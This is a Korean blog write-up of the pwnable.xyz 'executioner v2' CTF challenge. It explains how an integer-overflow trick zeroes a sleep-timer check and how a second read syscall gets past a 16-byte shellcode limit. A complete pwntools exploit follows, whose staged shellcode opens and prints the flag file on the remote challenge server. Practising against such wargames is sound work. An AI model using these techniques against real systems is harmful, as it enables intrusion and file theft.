본문으로 바로가기

pwnable.xyz / executioner v2

category Wargame/pwnable.xyz 2020. 4. 10. 22:16

+ 문제를 풀고 나서 알게 된 건데 바이너리에 win이라는 함수가 있었다. (...)

executioner랑 다른 점이 두 가지가 있다.

 

  printf("POW: <x + y == 0x%x\n"n);
  printf("> ");
  
  if ( (unsigned int)_isoc99_scanf("%u %u", &x, &y) != 2 || !x || !y )
  {
    puts("error");
    exit(1);
  }
  
  getchar();
  
  if ( y + x != n )
  {
    puts("POW failed");
    exit(1);
  }
  
  puts("Loading challenge... ");
  sleep(x * y);

 

x와 y로 0을 못 넣게 조건이 추가되었다. n이 짝수인 경우에 x를 2147483648, y를 n-2147483648로 하면 x*y는 0이 되어서 쉽게 통과할 수 있다.

 

    read(fdkey, 0x10uLL);
    close(fd);
    printf("Input: ");
    read(0, inpt, 0x10uLL);
    
    for ( i = 0; i < strlen(inpt); ++i )
      inpt[i] ^= key[i];
    
    page = mmap(NULL, 0x1000uLL, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0LL);
    memcpy(pageinpt, 0x10uLL);
    
    ((void (__fastcall *)(_QWORD, _QWORD, _QWORD *, _QWORD, _QWORD, _QWORD))page)(0LL, 0LL, page, 0LL, 0LL, 0LL);

 

0x10 바이트만 입력받고 jmp 대신 call (call near, absolute indirect) 을 사용한다.

암호화 우회는 executioner와 같은 방식으로 해 주면 되고, syscall read를 다시 한 번 호출해 inpt 뒤에 코드를 붙여 써서 길이 제한을 우회할 수 있다.

 

.text:0000000000000E3F                 xor     rax, rax
.text:0000000000000E42                 xor     rbx, rbx
.text:0000000000000E45                 xor     rcx, rcx
.text:0000000000000E48                 xor     rdx, rdx
.text:0000000000000E4B                 xor     rsi, rsi
.text:0000000000000E4E                 xor     rdi, rdi
.text:0000000000000E51                 xor     r8, r8
.text:0000000000000E54                 xor     r9, r9
.text:0000000000000E57                 xor     r10, r10
.text:0000000000000E5A                 xor     r11, r11
.text:0000000000000E5D                 xor     r12, r12
.text:0000000000000E60                 xor     r13, r13
.text:0000000000000E63                 xor     r14, r14
.text:0000000000000E66                 xor     r15, r15

 

call rdx; 전 rbp와 rsp를 제외한 모든 범용 레지스터를 0으로 초기화시키는 과정 덕분에 syscall과 인자 설정을 위한 명령어 몇 개를 생략할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
import argparse

context.arch = 'amd64'

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30028)
else :
    p = process('./challenge')


def log_error(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[31m-\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def exploit() :
    n = int(p.readline().rstrip().split()[-1], 16)

    if n%2 == 1 :
        log_error('n is odd')
        p.close()
        exit(1)

    p.writelineafter(b'> ''2147483648 {}'.format((n-0x80000000)%0x100000000))

    code = '''
        add    byte ptr [rbp+0x0], al
        lea    rsi, [rdx+0x10]
        mov    rdx, 0x1000
        syscall
    '''


    p.write(asm(code))

    code = '''
        mov    r15, rsi
        mov    r14, 0x67616c662f
        mov    qword ptr [r15+0x400], r14
        lea    rdi, qword ptr [r15+0x400]
        mov    rsi, 0
        mov    rax, 2
        syscall
        mov    rdi, rax
        lea    rsi, [r15+0x408]
        mov    rdx, 0x40
        mov    rax, 0
        syscall
        mov    rdi, 1
        mov    rax, 1
        syscall
    '''


    p.write(asm(code))

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/10/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Hero Factory  (0) 2020.05.01
pwnable.xyz / note v2  (0) 2020.05.01
pwnable.xyz / badayum  (0) 2020.04.10
pwnable.xyz / password  (0) 2020.04.10
pwnable.xyz / executioner  (0) 2020.04.09